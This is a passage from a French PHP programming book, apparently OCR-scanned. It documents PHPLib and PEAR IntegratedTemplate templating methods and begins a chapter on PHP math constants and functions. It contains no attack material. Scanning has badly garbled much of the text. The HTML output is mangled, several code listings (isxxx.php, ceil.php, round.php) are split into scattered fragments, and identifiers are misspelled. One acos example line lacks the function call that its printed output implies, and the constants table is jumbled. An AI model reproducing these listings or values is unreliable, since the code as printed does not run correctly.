L'utilisation la plus "primitive" des modeles consiste a remplacer des mots-cles (en absence de 
blocs) par des valeurs. 

Cette operation s'effectue en deux etapes : 

1 . Definition des valeurs par lesquelles les mots-cles doivent etre remplaces. 

2. Remplacement proprement dit. 



Template->set_var () 

Donne une valeur a un ou plusieurs mots-cles. 

Syntaxe void set_var (string $motCle, string valeur) 

Syntaxe void set_var (array $tableauAssociatif) 

$motCl e Mot-cle auquel vous souhaitez donner une valeur. 

$valeur Valeur associee au mot-cle. 

$tabl eauAssoci ati f Tableau associatif contenant autant de couples ( $motCle => $valeur) 
que de valeurs a definir. 
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Ainsi, la succession d'appels : 

$modele->set_var("TITRE", "Mon TITRE"); 
$modele->set_var("COPYRIGHT", "Copyright 2002"); 

sera avantageusement remplacee par : 

$modele->set_var(array("TITRE" => "Mon Titre", 

"COPYRIGHT" => "Copyright 2002")); 

La substitution proprement dite des mots-cles par les valeurs s'effectue via un appel a la 
methode parse ( ) . 



Template->parse() 



Remplace les mots-cles contenus dans une variable par leurs valeurs, et associe ou ajoute le 
resultat a un mot-cle. 

Syntaxe void parse(string $motCle, $string $variable, boolean 

$modeAjout) 

$motCle Mot-cle a remplacer ou completer. 

$variable Variable pour laquelle les mots-cles doivent etre remplaces par leurs 

valeurs. 

$modeAjout Mettre a TRUE si le mot-cle doit etre complete, FALSE s'il doit etre 

remplace. 

Dans le premier cas que nous etudions, la variable devra representer le fichier modele 
lui-meme (c'est bien dans cet ensemble que les mots-cles doivent etre remplaces par des 
valeurs). II faut done associer, au prealable, un nom de variable au fichier modele. Pour cela, 
vous devez faire appel a la methode set_f ile ( ) . 



Template->set_file () 

Associe des noms de variables (raccourcis) a des noms de fichiers. 

Syntaxe void set_file (string $variable, string $nomFichier) 

$vari abl e Variable associee au nom de fichier. 

$nomFichier Nom du fichier. 

La methode set_f ile ( ) propose egalement l'interface suivante : 
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Template->set_file () 

Associe des noms de variables (raccourcis) a des noms de fichiers. 

Syntaxe void set_file (array $tableauAssociatif) 

$tableauAssociatif Tableau associatif contenant autant de couples ($variable => 
$nomFichier) que d'identifiants a creer. 

Ce qui nous permet de realiser notre premier script de transformation de modeles ; script que 
nous appliquerons au modele que nous avons vu precedemment. 

Listing 5.5 : phplib_02.php 

<?php 

require_once(". . /phpl ib-7.4-prel/php/template.inc") ; 

// Instanciation d'un objet Template 

// en precisant que : 

// * les fichiers de modele 

// sont stockes dans le repertoire modeles 

// * les mots cles non reconnus 

// seront conserves 

$modele = new Template("modeles", "keep"); 

// Definit les valeurs associees aux mots cles 
$modele->set_var(array("TITRE" => "Modeles avec PHPLib", 
"COPYRIGHT" => "Copyright 2002")); 

// Associe un identifiant au fichier modele 
$model e->set_f i 1 e ( " i dModel e" , "phpl i b_01 . tpl " ) ; 
// Remplace les mots cles par leurs valeurs 
// et stocke le resultat dans une variable 
// "resultat" 
$modele->parse( "resultat", "i dModel e") ; 

// affiche le resultat 

$modele->p( "resultat") ; 
?> 

Dans ce cas, nous aurons alors comme resultat (au niveau du code HTML genere) : 
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<!:■::■:> 

<head> 

{title>Modeles avec PHPLib</title> 

</head> 

<body> 

<■-. >Modeles avec PHPLib</Ti3> 

< table border="l"> 

< .' - - BEGIN bl ocLi gns - - > 

<tr> 

< td> { SEXE [ < /td> 

<td>{PRENOM}</td> 

<td>{H0M}</td> 

</tr> 

<.'-- END LlocLigns --* 
</table> 

< center > Copy right 2002< /center > 
</body> 

</■ :■ > 



Figure 5.4 : 

Code HTML issu de ['utilisation de 
modeles avec PHPLib 



Vous pouvez constater que les mots-cles ont bien ete remplaces par leurs valeurs, sauf 
evidemment ceux qui n'ont pas ete traites par ce premier script, et qui appartiennent a des blocs 
dont nous allons, des maintenant, detailler le fonctionnement. 

Utilisation des blocs 

Comme cela a ete suggere en introduction de ce chapitre (dans l'exemple), il est possible de 
definir des blocs de donnees. 

Les blocs sont declares par des commentaires HTML contenant les instructions begin et end. 

<!-- BEGIN nomBloc --> 
<!-- END nomBloc --> 

La premiere operation liee a la manipulation de ces blocs consiste, generalement, a appeler 
l'instruction set_block ( ) . 



Template->set_block() 



Remplace, dans une variable (representant generalement un bloc), un bloc par un mot-cle et 
associe ce bloc a la variable de meme nom. 



Syntaxe 

$variable 

$nomBloc 

$motCle 



void set_block(string $variable, string $nomBloc [, string 
$motCle]) 

Nom de la variable dans laquelle est recherche le bloc. 

Nom du bloc (i.e. mot-cle precise dans le commentaire definissant le bloc). 

Mot-cle venant en remplacement du bloc. Si ce parametre est omis, il 
prendra la meme valeur que $nomBloc. 
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C'est generalement dans le cadre de l'utilisation de blocs que le mode "ajout" de la methode 
parse ( ) prend tout son sens. II est en effet alors possible de remplacer un (unique) mot-cle par 
une liste de valeurs. Voir le script phplib_01.php presente en introduction de ce chapitre. 
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Chapitre 5 Les techniques de programmation 
Diverses methodes 

Template->set_root () 

Permet de modifier le chemin de recherche des modeles. 

Syntaxe void set_root (string $repertoireModele) 

$repertoi reModel e Nouveau chemin de recherche des modeles. 

Template->set_unknowns () 

Permet de modifier le comportement lorsque des variables inconnues sont rencontrees. 

Syntaxe void set_unknowns (string $modeErreur) 

$modeErreur Chaine de caracteres indiquant le comportement a tenir lorsque des 

mots-cles inconnus sont rencontres. Cet argument doit prendre une des 
valeurs suivantes : 

"keep" si le mot-cle doit etre restitue dans le flux de sortie. 

"comment" si le mot-cle doit etre mis en commentaire dans le flux de 

sortie. 

"remove" (valeur par defaut) si le mot-cle doit etre ignore (et ne pas 

paraitre dans le flux de sortie). 



Template->subst() 



Retourne la variable indiquee pour laquelle les mots-cles connus ont ete remplaces par leurs 
valeurs. Les mots-cles inconnus seront laisses inchanges (quel que soit le mode d'erreur 
selectionne). 

Syntaxe string subst (string $variable) 

$ v a r i a b 1 e Nom de la variable a retourner. 



Template->psubst() 

Affiche le resultat que retourne subst { ) . 
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Syntaxe string psubst (string $variable) 

$vari abl e Nom de la variable a afficher. 



Template->finish() 



Retourne la variable indiquee pour laquelle les mots-cles connus ont ete remplaces par leurs 
valeurs. Les mots-cles inconnus sont traites selon le mode d'erreur selectionne. 

Syntaxe string finish (string $variable) 

$vari abl e Nom de la variable a retourner. 



Template->get_vars () 

Retourne un tableau associatif des variables definies, les cles etant les noms des variables. 

Syntaxe array get_vars() 

retour Le tableau association "nom de variable" => "valeur". 



Template->get_undefined () 

Retourne un tableau (associatif) des mots-cles rencontres n'ayant pas de valeurs associees. 

Syntaxe array get_undefined() 

retour Le tableau associatif "nom de variable" => "nom de variable". 
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haltMsgO 



II s'agit cette fois d'une fonction et non d'une methode appelee accompagnee d'un message en 
cas d'erreur. Cette fonction peut etre reecrite par vos soins. 

Syntaxe void haltMsg (string $messageErreur) 

$messageErreur Message d'erreur. 
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Avec la bibliotheque PEAR 
Installation 

reinstallation de la bibliotheque pear ne necessite quasiment aucun effort. En effet, celle-ci 
etant livree avec PHP, il suffit d'ajouter le repertoire contenant la bibliotheque (ex. : /usr/local/ 
lib/php par defaut sous Linux) au chemin de recherche specifie par le parametre include_path 
du fichier php.ini. Cela peut egalement se faire en utilisant la fonction set_ini() (utilisee 
comme suit: set_ini ( "include_path" , $nouvelleValeurIncludePath) ;) au debut de 
chaque script faisant appel a la bibliotheque pear. 

Nous supposerons par la suite que vous avez integre pear au chemin de recherche specifie dans 
php.ini. Pour utiliser les modeles, il suffira alors d'inclure le script IT.php disponible dans le 
repertoire HTML. 

Utilisation 

La bibliotheque pear (livree avec PHP) propose quant a elle une solution fort similaire a celle 
proposee par PHPLib. 

L'une d'elle, basee sur la classe integratedTemplate necessite toutefois moins de 
manipulations de variables, ce qui simplifie, entre autres, l'utilisation des blocs. 

L'exemple presente en introduction de la bibliotheque PHPLib devient alors : 

exemple de fichier modele (cree par le designer) : 

Listing 5.6 : modeles/pear_01 .tpl 

<html> 

<head> 

<title>{TITRE}</title> 

</head> 

<body> 

<h3>{TITRE}</h3> 

<table border="l"> 

<!-- BEGIN blocLigne --> 

<tr> 

<td>{SEXE}</td> 

<td>{PRENOM}</td> 

<td>{NOM}</td> 

</tr> 

<!-- END blocLigne --> 
</table> 
</body> 
</html> 

Exemple de fichier de substitution mot-cle/code (cree par le developpeur) : 
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Listing 5.7: pear_01.php 

<?php 

require_once("HTML/IT.php") ; 

// Instanciation d'un objet IntegratedTemplate 

// en precisant que : 

// * les fichiers de model e 

// sont stockes dans le repertoire "model es" 

$modele = new IntegratedTemplate("modeles") ; 

// Charge le fichier model e 
$modele->loadTemplateFile("pear_01.tpl ") ; 

// Defini les valeurs associees au mot cle 
$modele->setVariable("TITRE","Modeles avec PEAR"); 

// Selectionne le bloc "blocLigne" 
// pour les prochaines manipulations 
$modele->setCurrentBlock( "blocLigne") ; 

// A titre d'exemple 

// remplace les mots cles du bloc ligne 

// par differentes valeurs 

$modele->setVariable(array("SEXE" => "<img src=\"homme.gif\">", 

"PRENOM" => "Pierre", 

"NOM" => "Dupond")); 
$modele->parseCurrent Block ("bloc Ligne") ; 

$modele->setVariable(array("SEXE" => "<img src=\"femme.gif\">", 
"PRENOM" => "Anne", 
"NOM" => "Durand")); 

$modele->parseCurrent Block ("bloc Ligne") ; 

$modele->setVariable(array("SEXE" => "<img src=\"homme.gif\">", 

"PRENOM" => "Jean", 

"NOM" => "Bon")); 
$modele->parseCurrent Block ("bloc Ligne") ; 

// affiche le resultat 
$modele->show() ; 
?> 

La base 

L'utilisation des modeles PEAR/IntegratedTemplate commence par l'instanciation d'un objet 
IntegratedTemplate selon la syntaxe suivante : 
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IntegratedTemplate 

Objet modele de PEAR/IntegratedTemplate. 

Syntaxe IntegratedTemplate IntegratedTemplate( [string 

$repertoi reModel es] ) 

$repertoi reModel es Repertoire ou sont situes les fichiers de modeles. 

Toutes les manipulations a venir s'appuient sur des mots-cles ou noms de blocs integres au code 
HTML du modele, que Ton pourra appeler "variable". 

Meme si, dans une utilisation normale, cette methode n'est appelee qu'a la fin du traitement, 
voici la methode permettant d'afficher le contenu d'une variable. Dans notre cas, elle sera 
egalement utilisee pour demontrer les proprietes des differentes methodes de l'objet 
IntegratedTemplate. 
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IntegratedTemplate->show () 



Affiche le contenu d'une variable (bloc ou mot-cle) indiquee. Cette fonction est generalement 
utilisee sans parametre pour afficher le resultat final. 

Syntaxe void show( [string $variable]) 

$vari abl e Nom de la variable (bloc ou mot-cle) dont on veut afficher le contenu. 

Le chargement d'un modele se fait via la methode setTemplateO ou plus probablement 

loadTemplateFile ( ) . 



IntegratedTemplate->setTemplate 

Charge un modele base sur une simple chaine de caracteres. 

Syntaxe boolean setTemplate(string $modele [, boolean 

$supprimeVariablesInconnues [, boolean $supprimeBlocsVides]])) 

$model e Le modele. 

$supprimeVariables 

Inconnues TRUE (par defaut) si vous souhaitez que les variables (mot-cles) non 

definis soient supprimes (en sortie), FALSE sinon. 

$supprimeBl ocsVi des TRUE (par defaut) si vous souhaitez que les blocs vides soient supprimes 
(en sortie), FALSE sinon. 

retour TRUE en cas de succes, FALSE sinon. 
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IntegratedTemplate->loadTemplateFile() 

Charge un modele stocke dans un fichier. 

Syntaxe boolean loadTemplateFile (string $nomFichier [, boolean 

$supprimeVariablesInconnues [, boolean $supprimeBlocsVides]] ) 

$nomFichier Nom du fichier modele. 

$supprime 

Variables I nconnues TRUE (par defaut) si vous souhaitez que les variables (mots-cles) non 
definies soient supprimees (en sortie), FALSE sinon. 

$supprimeBl ocsVi des TRUE (par defaut) si vous souhaitez que les blocs vides soient supprimes 
(en sortie), FALSE sinon. 

retour TRUE en cas de succes, FALSE sinon. 

L'utilisation la plus "primitive" des modeles consiste a remplacer des mots-cles (eventuellement 
contenus dans un bloc) par des valeurs. 

Cette operation s'effectue en trois etapes : 

1 . Selection du bloc ; 

2. Definition des valeurs par lesquelles les mots-cles doivent etre remplaces ; 

3. Remplacement proprement dit. 

La selection du bloc se fait naturellement par un appel a la methode setCurrentBloc ( ) . 



IntegratedTemplate->setCurrentBloc() 

Selectionne un bloc pour les manipulations a venir. 

Syntaxe void setCurrentBloc ([string $bloc]) 

$bl oc Nom du bloc. Si ce parametre est omis, c'est alors le modele complet qui 

devient le bloc courant. 



IntegratedTemplate->setVariable() 

Donne une valeur a un ou plusieurs mots-cles. 

Syntaxe void setVariable(string $motCle, string valeur) 

Syntaxe void setVariable(array $tableauAssociatif) 

$motCl e Mot-cle auquel vous souhaitez donner une valeur. 

$valeur Valeur associee au mot-cle. 
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$tableauAssociatif Tableau associatif contenant autant de couples ($motCle => $valeur) 
que de valeurs a definir. 

Ainsi, la succession d'appels : 

$modele->setVariable("TITRE", "Mon TITRE"); 
$modele->setVariable("COPYRIGHT", "Copyright 2002"); 

sera avantageusement remplacee par : 

$modele->setVariable(array("TITRE" => "Mon Titre", 

"COPYRIGHT" => "Copyright 2002")); 

La substitution proprement dite des mots-cles par leurs valeurs s'effectue via un appel a la 

methode parseCurrentBlock ( ) . 



IntegratedTemplate->parseCurrentBlock() 

Remplace les mots-cles contenus dans le bloc courant par leurs valeurs. 

Syntaxe boolean parseCurrentBlock (void) 

retour TRUE en cas de succes, FALSE sinon. 

Diverses methodes 

IntegratedTemplate->setRoot () 

Permet de modifier le chemin de recherche des modeles. 

Syntaxe void setRoot (string $repertoireModele) 

$repertoi reModel e Nouveau chemin de recherche des modeles. 

IntegratedTemplate->parse () 

Remplace les mots-cles contenus dans une variable par leurs valeurs. 

Syntaxe boolean parse([string $variable] [, boolean $modeRecursif]) 

$variable Variable contenant les mots-cles a remplacer. Par defaut, le modele 

complet. 

$modeRecursi f A ignorer, au moins pour l'instant. 

retour TRUE en cas de succes, FALSE sinon. 
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IntegratedTemplate->get () 



Retourne le contenu d'une variable pour laquelle les mots-cles ont ete remplaces par leurs 
valeurs. 

Syntaxe string get ([string $variable]) 

$vari abl e Variable dont on veut retourner le contenu. Si ce parametre est omis, c'est 

tout le modele qui est retourne. 

retour Contenu de la variable (ou bloc). 



IntegratedTemplate->touchBlock() 

Empeche la suppression d'un bloc vide, meme si l'option a ete positionnee. 

Syntaxe boolean touchBlock(string $bloc) 

$ b 1 oc Bloc a conserver. 
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Chapitre 6 



Les fonctions 
mathematiques 



6.1 Les fonctions mathematiques et les constantes 327 

6.2 Calculs de precision 348 



Les fonctions mathematiques et les constantes 



Cette partie traite du calcul mathematique. Meme si vous serez souvent amene a utiliser ces 
fonctions pour des operations elementaires, sachez qu'il est egalement possible 
d'effectuer des calculs de precision. 

6. 1 . Les fonctions mathematiques et les constantes 

La bibliotheque mathematique fournit des constantes et des fonctions qui vous serviront si vous 
souhaitez faire du calcul. Attention cependant : pour la gestion des grands nombres ou des 
nombres devant comporter de nombreuses decimales, verifiez que les valeurs que vous 
manipulez peuvent etre gerees soit par les entiers (integer entre -2147483648 et 2147483647) 
soit par les reels (double ; et respectivement long et double en C). Dans le cas contraire, vous 
devrez faire appel aux calculs de precision qui feront l'objet du chapitre suivant. 



Constantes 

La bibliotheque mathematique met a disposition dix-sept constantes utiles pour les calculs 
mathematiques. 



Tableau 6.1 : 


Les constantes 




Constante 




Valeur 


Description 


M_SQRT2 




1.41421356237309504880 


Racine carree de 2 (PHP4.0.2 et +) 


M_SQRT3 




1.73205080756887729352 


Racine carree de 3 (PHP4.0.2 et +) 


M_SQRT1_2 




0.70710678118654752440 


1 sur racine carree de 2 ou encore racine 
carree de 2 sur 2 (PHP4.0.2 et +) 


Trigonomet 


rie 






M_PI 




3.14159265358979323846 


Pi 


M_PI_2 




1.57079632679489661923 


Pi/2 



M_PI_4 

M_1_PI 

M_2_PI 

M_SQRTPI 

M_2_SQRTPI 



M_LN2 
M_LN1 
M_LNPI 



0.78539816339744830962 
0.31830988618379067154 
0.63661977236758134308 
1.77245385090551602729 
1.12837916709551257390 



Pi/4 

1/Pi 

2/Pi 

Racine carree de Pi (PHP4.0.2 et +) 

2 sur racine carree de Pi (PHP4.0.2 et +) 



Logarithme 


M_E 


2.7182818284590452354 


E 


M_LOG2E 


1.4426950408889634074 


Logarithme binaire de e 


M_LOG10E 


0.43429448190325182765 


Logarithme decimal de e 



0.69314718055994530942 
2.30258509299404568402 
1.14472988584940017414 



Logarithme neperien de 2 

Logarithme neperien de 10 

Logarithme neperien de Pi (PHP4.0.2 et +) 
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Constante 


Valeur 


Description 


Autre 


M_EULER 


0.57721566490153286061 


Constante d'Euler (PHP4.0.2 et +) 



Fonctions 

Test de validite 

PHP propose quelques fonctions permettant de determiner si une valeur (retournee par une 
fonction) est finie, infinie (cas d'une division par 0) ou indefinie (cas d'une racine carre de -1). 
Vous disposez ainsi de : 



is_finite() 



Indique si une valeur est finie ou non. 

Syntaxe boolean is_finite (double $valeur) 

$ v a 1 e u r Valeur a tester. 

retour TRUE si la valeur est finie, FALSE sinon. 



is_infinite() 

Teste si une valeur est infinie. 

Syntaxe boolean is_infinite($valeur) 

$ v a 1 e u r Valeur a tester. 

retour TRUE si la valeur est infinie, FALSE sinon. 



is_nan() 



Teste si une valeur est indefinie. 

Syntaxe boolean is_nan($valeur) 

$ v a 1 e u r Valeur a tester. 

retour TRUE si la valeur est indefinie, FALSE sinon. 
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Listing 6.1 : isxxx.php 



<?php 
if 

if 

if 

if 

if 

if 

if 
if 
if 



i s_f i ni te(3) ) echo "3 est fini<br />"; 

else echo "3 n'est pas fini<br />"; 

is_finite(pow(0,-l))) echo "1/0 est fini<br />"; 

else echo "1/0 n'est pas fini<br />"; 

is_finite(sqrt(-l))) echo "racine carree de -1 est fini<br />"; 

else echo "racine carree de -1 n'est pas fini<br />"; 

is_infinite(3)) echo "3 est infini<br />"; 

else echo "3 n'est pas infini<br />"; 

is_infinite(pow(0,-l))) echo "1/0 est infini<br />"; 

else echo "1/0 n'est pas infini<br />"; 

is_infinite(sqrt(-l))) 

echo "racine carree de -1 est infini<br />"; 
else echo "racine carree de -1 n'est pas infini<br />"; 
is_nan(3)) echo "3 est indefini<br />"; 
else echo "3 n'est pas indefini<br />"; 
is_nan(pow(0,-l))) echo "1/0 est indefini<br />"; 
else echo "1/0 n'est pas indefini<br />"; 

is_nan(sqrt(-l))) echo "racine carree de -1 est indefini<br />"; 
else echo "racine carree de -1 n'est pas indefini<br />"; 



Cela retournera : 

3 est fini 

1/0 n'est pas fini 

racine carree de -1 n'est pas fini 

3 n'est pas infini 

1/0 est infini 

racine carree de -1 n'est pas infini 

3 n'est pas indefini 

1/0 n'est pas indefini 

racine carree de -1 est indefini 



A 



ATTENTION 



Avec les operateurs 

Dans les versions actuelles de PHP, cela ne s'applique qu'aux valeurs retournees par 
les fonctions et non par les operateurs. Ainsi 1/0 retournera false accompagne d'un 
message d'erreur, or false converti en entier donne 0, qui est fini. Vous aurez done 
la surprise de constater que is_finite(l/0) retourne TRUEet non FALSEeomme 
attendu. 
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Trigonometriques 



pi() 



Cette fonction retourne une valeur approximative de Pi. 3.1415926535898 (revient a utiliser 

M_Pl). 



Syntaxe 

retour 



double pi (void) 

Valeur approximative de Pi. 



cos() 



Retourne la valeur du cosinus de Tangle exprime en radians. 

Syntaxe double cos (double $angle) 

$ a n g 1 e Angle exprime en radians, 

retour Cosinus de Tangle. 
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acos() 



Retourne Tare cosinus de la valeur donnee (Tare cosinus etant Tangle pour lequel le cosinus 
vaut Scos). 



Syntaxe 

$cos 
retour 



double acos(double $cos) 
Valeur sans unite. 
Angle en radians. 



Voici un exemple de script utilisant les fonctions cos ( ) , acos ( ) et pi ( ) , ainsi que les 
constantes m_pi et m_sqrti_2 : 



<?php 



?> 



echo "cos(M_PI) : ".cos(M_PI) ."<br />"; 
echo "cos (pi ()) :".cos(pi ()) ."<br />"; 
echo "cos(M_PI/2):".cos(M_PI/2)."<br />"; 
echo "cos(3*M_PI/2):".cos(3*M_PI/2)."<br />"; 
echo "cos(M_PI/4):".cos(M_PI/4)."<br />"; 
echo "cos(3*M_PI/4):".cos(3*M_PI/4)."<br />"; 
echo "cos(-M_PI/4):".cos(-M_PI/4)."<br />"; 
echo "cos(-3*M_PI/4):".cos(-3*M_PI/4)."<br />"; 
echo "acos (M_SQRT1_2) : ". acos (M_SQRT1_2) . "<br />" 
echo "acos(-M_SQRTl_2):".(-M_SQRTl_2)."<br />"; 
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Voici le resultat obtenu : 

cos(M_PI):-l 
cos(pi()):-l 

cos(M_PI/2):6.1230317691119E-017 
cos(3*M_PI/2):-1.8369095307336E-016 
cos(M_PI/4) :0. 70710678118655 
cos(3*M_PI/4) :-0. 70710678118655 
cos (-MPI/4) : . 70710678118655 
cos (-3*M_PI/4): -0.70710678118655 
acos (MSQRT12) : . 78539816339745 
acos(-M_SQRTl_2): -0.78539816339745 

m_pi etpi ( ) retournent tous les deux la meme valeur. Les valeurs de cos (Pi/2) et cos (3*pi/ 
2 ) retournent un resultat proche de 0, mais pas 0. En effet, la valeur de Pi etant approximative, 
celle du cosinus est affectee. 

Cos (Pi/4) et cos (-Pi/4) retournent la moitie de la racine carree de 2. cos(3*Pi/4) et 
cos (-3*Pi/4) sont opposes comme prevu. 

acos(racine carree de 2 sur 2) retourne Pi/4 et acos(-racine carree de 2 sur 2) retourne -pi /4. 



sin() 



Retourne la valeur du sinus de Tangle exprime en radians. 

Syntaxe double sin (double $angle) 

$angle Angle en radians, 

retour Sinus de Tangle. 



asin() 



Retourne Tare sinus de la valeur donnee (Tare cosinus etant Tangle pour lequel le sinus vaut 

$sin). 

Syntaxe double asin (double $sin) 

$ s i n Valeur sans unite, 

retour Angle en radians. 
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tan() 



Retourne la valeur de la tangente de Tangle exprimee en radians. 

Syntaxe double tan (double $angle) 

$angle Angle en radians, 

retour Tangente de Tangle. 
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atan() 



Retourne l'arc tangente de la valeur donnee (l'arc tangente etant Tangle pour lequel la 
tangente vaut $tan). 

Syntaxe double atan (double $tan) 

$tan Valeur sans unite. 

retour Angle en radians compris entre -Pl/2etPl/2. 



atan2 () 



Retourne l'arc tangente de $sin/$cos en tenant compte de leurs signes afin de determiner de 
facon plus precise Tangle. 

Syntaxe double atan2 (double $sin, double $cos) 

$ s i n Valeur sans unite. 

$cos Valeur sans unite. 

retour Angle en radians compris entre -PI et PI inclus. [ -PI ; PI ] . 



deg2rad() 

Retourne en radians un angle exprime en degres. 

Syntaxe double deg2rad (double $angle) 

$angle Angle en degres. 

retour Angle en radians. 

rad2deg() 

Retourne en degres un angle exprime en radians. 

Syntaxe double rad2deg (double $angle) 

$angle Angle en radians, 

retour Angle en degres. 
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Logarithmiques 



exp() 



Retourne l'exponentiel de la valeur donnee. 

Syntaxe double exp(double $reel^ 

$reel Valeur reelle. 

retour Exponentiel $reel. 



log() 



Retourne le logarithme neperien de la valeur donnee. 

Syntaxe double log (double $reel) 

$reel Valeur reelle dont on veut connaitre le logarithme neperien. 

retour Valeur reelle du logarithme neperien de $reel. 



logioo 

Retourne le logarithme decimal. 

Syntaxe double loglO (double $reel) 

$reel Valeur reelle dont on veut connaitre le logarithme decimal. 

retour Logarithme decimal de $reel. 
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cosh() 



Retourne la valeur du cosinus hyperbolique de Tangle, autrement dit (exp($angle) 

exp (-$angle) ) /2. 

Syntaxe double cosh(double $angle) 

$angle Angle hyperbolique. 

retour Cosinus hyperbolique de Tangle. 
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acosh() 



Retourne 1'arc cosinus hyperbolique de la valeur donnee (l'arc cosinus hyperbolique etant 
Tangle pour lequel le cosinus hyperbolique vaut $cosh). 

Syntaxe double acosh (double $cosh) 

$cosh Valeur sans unite, 

retour Angle hyperbolique. 



sinh() 



Retourne la valeur du sinus hyperbolique de Tangle, autrement dit (exp($angle) 

exp(-$angle) ) 12. 

Syntaxe double si nh (double $angle) 

$angle Angle hyperbolique. 

retour Sinus hyperbolique de Tangle. 



asinh() 



Retourne Tare sinus hyperbolique de la valeur donnee (Tare sinus hyperbolique etant Tangle 
hyperbolique pour lequel le sinus hyperbolique vaut $sinh). 

Syntaxe double asinh (double $sinh) 

$ s i n h Valeur sans unite, 

retour Angle hyperbolique. 



tanh() 



Retourne la valeur de la tangente hyperbolique de Tangle. 

Syntaxe double tanh (double $angle) 

$angle Angle hyperbolique. 

retour Tangente hyperbolique de Tangle. 



334 



Les fonctions mathematiques et les constantes 



atanh() (non disponible sous Windows) 



Retourne l'arc tangente hyperbolique de Tangle donne (l'arc tangente hyperbolique etant 
Tangle hyperbolique pour lequel la tangente hyperbolique vaut $tanh). 

Syntaxe double atanh (double $tanh) 

$tanh Valeur sans unite, 

retour Angle hyperbolique. 

Puissance 



pow() 



Cette fonction retourne $base a la puissance Sexposant. 

Syntaxe numeric pow(numeric $base, numeric Sexposant) 

$ b a s e Nombre a elever. 

$exposant Puissance. 

re t ou r Entier si possible, sinon reel pouvant valoir NAN si la puissance ne peut etre 

calculee (ex. : racine carree d'un nombre negatif). 

Voici un exemple d'utilisation de la fonction pow ( ) : 

Listing 6.2 : pow.php 

<?php 

// exemple simple: 2^3 

echo pow(2, 3) ; 

echo "<br />"; 

// exemple simple: (-1)^10 

echo pow(-l, 10); 

echo "<br />"; 

// exemple d'erreur: racine de -4 (-4)^0.5 

echo pow(-4, 0.5); 
?> 

En sortie, on obtiendra : 

8 
1 

NAN 
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sqrt() 



Cette fonction retourne la racine carree de la valeur entree en parametre. 

Syntaxe double sqrt (double $reel) 

$reel Valeur dont on veut connaitre la racine carree. 

retour Racine carree de $reel. 

Voici un exemple d'utilisation de la fonction sgrt ( ) : 
Listing 6.3 : sqrt.php 

<?php 

echo sqrt(4)."<br />"; 

echo sqrt(9)."<br />"; 

echo sqrt(5)."<br />"; 

echo sqrt(-3) ."<br />"; 
?> 

En sortie, on obtiendra : 

2 
3 
2.2360679774998 

NAN 

. Distance entre deux points 

Pour calculer la distance entre le point A de coordonnees (xl,yl) et B de coordonnees 
iSTNCF (x2,y2), il sufftt defaire sqrt (pow(x2-xl , 2) +pow(y2-yl , 2 ) ). 



Arrondi 



ceil() 



Arrondit a l'entier superieur. 

Cette fonction retourne l'entier directement superieur. L'entier retourne est malgre tout 
considere de type double, car ce type permet de traiter des nombres plus grands que les int. 

Syntaxe double ceil (double $reel) 

$reel Valeur a arrondir. 

retour Valeur arrondie mais de type reel. 
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Voici un exemple d'utilisation de la fonction ceil ( ) 



Listing 6.4 : ceil.php 



<?php 










echo 


ce _ 


1 


(3.0). 


"<br />" 


echo 


ce _ 


1 


(3.1). 


"<br />" 


echo 


ce _ 


1 


(3.2). 


"<br />" 


echo 


ce _ 


1 


(3.3). 


"<br />" 


echo 


ce _ 


1 


(3.4). 


"<br />" 


echo 


ce- 


1 


(3.5). 


"<br />" 


echo 


ce- 


1 


(3.6). 


"<br />" 


echo 


ce- 


1 


(3.7). 


"<br />" 


echo 


ce _ 


1 


(3.8). 


"<br />" 


echo 


ce- 


1 


(3.9). 


"<br />" 



En sortie, on obtiendra : 

3 

4 
4 
4 
4 
4 
4 
4 
4 
4 



floor () 

Arrondit a l'entier inferieur. 

Cette fonction retourne l'entier directement inferieur. L'entier retourne est malgre tout 
considere de type double, car ce type permet de traiter des nombres plus grands que les int. 



3 


en 


Dl 


i— 




CD 


CD* 


C/3 


3 


O 


Dl 


3 


S". 


n 


.a 




c 


o' 


CD 


3 


CO 


CO 



Syntaxe 

$reel 
retour 



double floor(double $reel) 

Valeur a arrondir. 

Valeur arrondie mais de type reel. 



Voici un exemple d'utilisation de la fonction floor ( ) 

Listing 6.5 : floor.php 

<?php 

echo floor (3.0)."<br />"; 

echo floor (3.1)."<br />"; 

echo floor (3.2)."<br />"; 
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echo floor (3.3)."<br />' 

echo floor (3.4)."<br />' 

echo floor (3.5)."<br />' 

echo floor (3.6)."<br />' 

echo floor (3.7)."<br />' 

echo floor (3.8)."<br />' 

echo floor (3.9)."<br />' 



En sortie, on obtiendra : 

3 
3 
3 
3 
3 
3 
3 
3 
3 
3 



round () 
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Arrondit selon les regies d'usage en mathematiques. 

S'il n'y a qu'un argument, cette fonction retourne l'entier le plus proche. S'il y a deux arguments 
elle retourne la valeur arrondie selon la precision donnee en second argument. 

Syntaxe 

$reel 

$precision 

retour 



double round (double $reel [, int $precision]) 
Valeur a arrondir. 

Precision souhaitee (nombre de chiffres apres la virgule). 
Nombre arrondi selon la precision desiree. 



Voici un exemple d'utilisation de la fonction round ( ) 



Listing 6.6 : round. php 



<?php 




echo 


round 


echo 


round 


echo 


round 


echo 


round 


echo 


round 


echo 


round 


echo 


round 


echo 


round 


echo 


round 


echo 


round 



(3.0). 


"<br />"; 


(3.1). 


"<br />"; 


(3.2). 


"<br />"; 


(3.3). 


"<br />"; 


(3.4). 


"<br />"; 


(3.5). 


"<br />"; 


(3.6). 


"<br />"; 


(3.7). 


"<br />"; 


(3.8). 


"<br />"; 


(3.9). 


"<br />"; 
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echo 


round 


(3 


123456789,1). 


"<br 


/> 


echo 


round 


(3 


123456789,2). 


"<br 


/> 


echo 


round 


(3 


123456789,3). 


"<br 


/> 


echo 


round 


(3 


123456789,4). 


"<br 


/> 


echo 


round 


(3 


123456789,5). 


"<br 


/> 


echo 


round 


(3 


123456789,6). 


"<br 


/> 


echo 


round 


(3 


123456789,7). 


"<br 


/> 


echo 


round 


(3 


123456789,8). 


"<br 


/> 


echo 


round 


(3 


123456789,9). 


"<br 


/> 



En sortie, on obtiendra : 

3 

3 

3 

3 

3 

4 

4 

4 

4 

4 

3.1 

3.12 

3.123 

3.1235 

3.12346 

3.123457 

3.1234568 

3.12345679 

3.123456789 

En effet, quand le chiffre de rang inferieur est superieur ou egal a cinq, la regie est d'arrondir 
au chiffre superieur. 

Hasard 
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REMARQUE 



Nombre pseudo-aleatoire 

L'ordinateur ne connait pas le hasard. Mais, comme il est parfois utile de generer un 
nombre aleatoirement, il afallu trouver une astuce pour f aire comme si l'ordinateur 
en etait capable. Pour arriver a ce resultat, il afallu generer une suite (la plus longue 
possible) de nombres repondant a des criteres statistiques precis. Lorsque Von a 
